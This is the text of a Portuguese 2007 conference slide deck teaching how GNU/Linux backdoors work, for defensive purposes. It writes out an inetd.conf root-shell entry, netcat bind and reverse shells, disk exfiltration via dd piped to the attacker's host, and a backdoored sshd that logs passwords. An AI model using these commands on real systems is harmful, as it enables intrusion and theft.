II ENSL II Encontro Nordestino de Software Livre Backdoors em Sistemas GNU/Linux: Conhecendo Para Se Proteger. Jansen Sena Aracaju, SE Setembro, 2007
Sobre o palestrante Formação Mestrado pelo IC na Unicamp/SP Segurança de redes Administração de Sistemas Unix LPI Certified Professional Atividades BenQ Mobile Revista PC&CIA Comunidade SOL Software Livre Consultor em TI
Anatomia geral de ataque Data Gathering Specific attack tasks Targed? Nontarged? Exploitation Elevate Privilegies Black Hat? Script Kiddie? Insiders? Methodology? Metastasis? Install Backdoors Cover Tracks
Explorando o inetd O que é inetd? Internet Super Server Presente na maioria dos sistemas Unix Gerencia recebimento de conexões para serviços Como explorar? Implementação simples e rápida Não requer de componentes externos Criar uma nova entrada de serviço apontando para um interpretador de comandos (e.g. sh)
Explorando o inetd Criando a backdoor na vítima... Inserir entrada em /etc/inetd.conf daytime stream tcp nowait root /bin/sh sh i Nome do serviço cuja porta está especificada em /etc/ services Usuário dono do processo... determina o privilégio! O que deve ser executado??? Reiniciar o inetd na vítima # /etc/init.d/inetutils inetd restart Explorando backdoor a partir do sistema atacante $ netcat <endereco IP vitima> daytime
Explorando o inetd Acesso direto de superusuário sem necessidade de senha!!! Atacante scadufax (192.168.1.100) Vítima smeagol (192.168.1.101)
phpremoteshell Página Web em PHP que recebe comandos e os submete para execução no servidor Fácil instalação Saída dos comandos é impressa no browser cópia do arquivo PHP para pasta visível pelo servidor Web Dificuldade: maioria dos servidores Apache não executam com privilégios de root
phpremoteshell
Netcat Clonando o disco rígido da vítima... Vítim (10.1.1.1 a ) Copia bit a bit a partição /dev/hda1 e repassa como entrada para o netcat #2 Atacant e(10.1.1.2 ) #1 $ netcat l p 5000 > hda1.img Transfere pela rede dados Direciona saída para o arquivo hda1.img # dd if=/dev/hda1 netcat 10.1.1.2 5000
Netcat Shell de super usuário sem senha! Acesso direto de superusuário sem necessidade de senha!!! Atacante Vítima scadufax (192.168.1.100) smeagol (192.168.1.101) #1 #2 $ netcat 192.168.1.101 50001 # netcat l p 50001 sh Submete string contendo o comando a ser executado (e.g. mkdir /etc/ataque) string é repassada ao sh e interpretada como comando!
Netcat Shell de super usuário sem senha! Acesso direto de superusuário sem necessidade de senha!!! Atacante scadufax (192.168.1.100) Vítima smeagol (192.168.1.101)
Netcat Shell de super usuário sem senha! (cont.) Atacante não tem, nesse caso, o retorno dos comandos enviados ao sistema atacado Saída do sh pode ser redirecionada para o sistema do atacante... Atacante com duas ações Uma para enviar os comandos para o sistema da vítima...... e outra para receber o resultado dos comandos executados no sistema da vítima
Netcat Acesso direto de superusuário sem necessidade de senha!!! Atacante Vítima scadufax (192.168.1.100) Submete string contendo o comando a ser executado (e.g. mkdir /etc/ataque) smeagol (192.168.1.101) $ netcat 192.168.1.101 50001 #2 Saída do comando é encaminhada como entrada ao netcat conectado ao sistema do atacante... # netcat l p 50001 sh netcat scadufax 50000 string é repassada ao sh e interpretada como comando! #1 $ netcat l p 50000
Netcat
OpenSSH (backdoored) OpenSSH (backdoored version) Utilizado para acesso remoto seguro Sensação de segurança... Comunicação entre cliente e servidor é protegida por recursos criptográficos Chaves são trocadas no primeiro acesso Comprometimento pode não estar no trânsito dos dados pela rede!!! É possível manipular informações não protegidas nas pontas do túnel sob proteção criptográfica
OpenSSH (backdoored) OpenSSH Server (Backdoored) Atacante Protected traffic from sniffers Check for magic password Cliente autêntic o Magic Password File Password logfile Linux Authentication System
OpenSSH (backdoored) Dois parâmetros devem ser utilizados... Arquivo de log para registrar passwords utilizadas Arquivo de configuração contendo o magic password e a versão do servidor... Sem parâmetros, funciona como um server normal MD5 correspondente ao magic password (e.g. nsn )
OpenSSH (backdoored) Executando o servidor... #./sshd p 2222 n /tmp/.cfg s /tmp/.passlist
Silentdoor Connectionless backdoor Permite execução de comandos no sistema comprometido sem necessidade de senhas Capaz de subverter filtragem do netfilter/iptables Sysadmins confiam em regras do iptables Estão acima de qualquer suspeita (???) Explora sensação de segurança Implementado como prova de conceito Utiliza o acesso provido pela libpcap
Silentdoor Arquitetura geral Applications Upper layers DROPACCEPT... iptables Lower layers Atacante Special silentdoor package to 53 port libpcap SILENTDOOR
Silentdoor Executando o daemon... #./silence& Silentedoor daemon process
Silentdoor Bloqueando o tráfego com o iptables...
Silentdoor Executando o ataque...
Silentdoor Um pouco mais sobre o silentdoor... Não provê acesso a shell......mas permite a execução de quaisquer comandos Consegue manter se bem escondido Dificuldade: dependência da libnet e libpcap Alternativa: Safebreaker Existem outros backdoors que executam comandos embutidos em pacotes ICMP!!!
Finalmente... Ampla diversidade Sofisticação de soluções Conhecer é a melhor estratégia para proteger se Ambiente de testes! Pensar como atacante Evite software proprietário! Backdoor???
Mais que 1000 palavras...
Mais que 1000 palavras...
Mais que 1000 palavras...
Mais que 1000 palavras...
Mais que 1000 palavras...
Mais que 1000 palavras...
Mais que 1000 palavras...
Erro de erro??? :-(
O importante é dar o primeiro passo...
... compartilhar conhecimento...
... e logo você entenderá o poder de uma... COMUNIDADE!!!
Perguntas e dúvidas? Sonho que se sonha só, é só um sonho que se sonha só, mas sonho que se sonha junto é realidade. Raul Seixas
MUITO OBRIGADO!!! jansen@comunidadesol.org Que a Força esteja com vocês!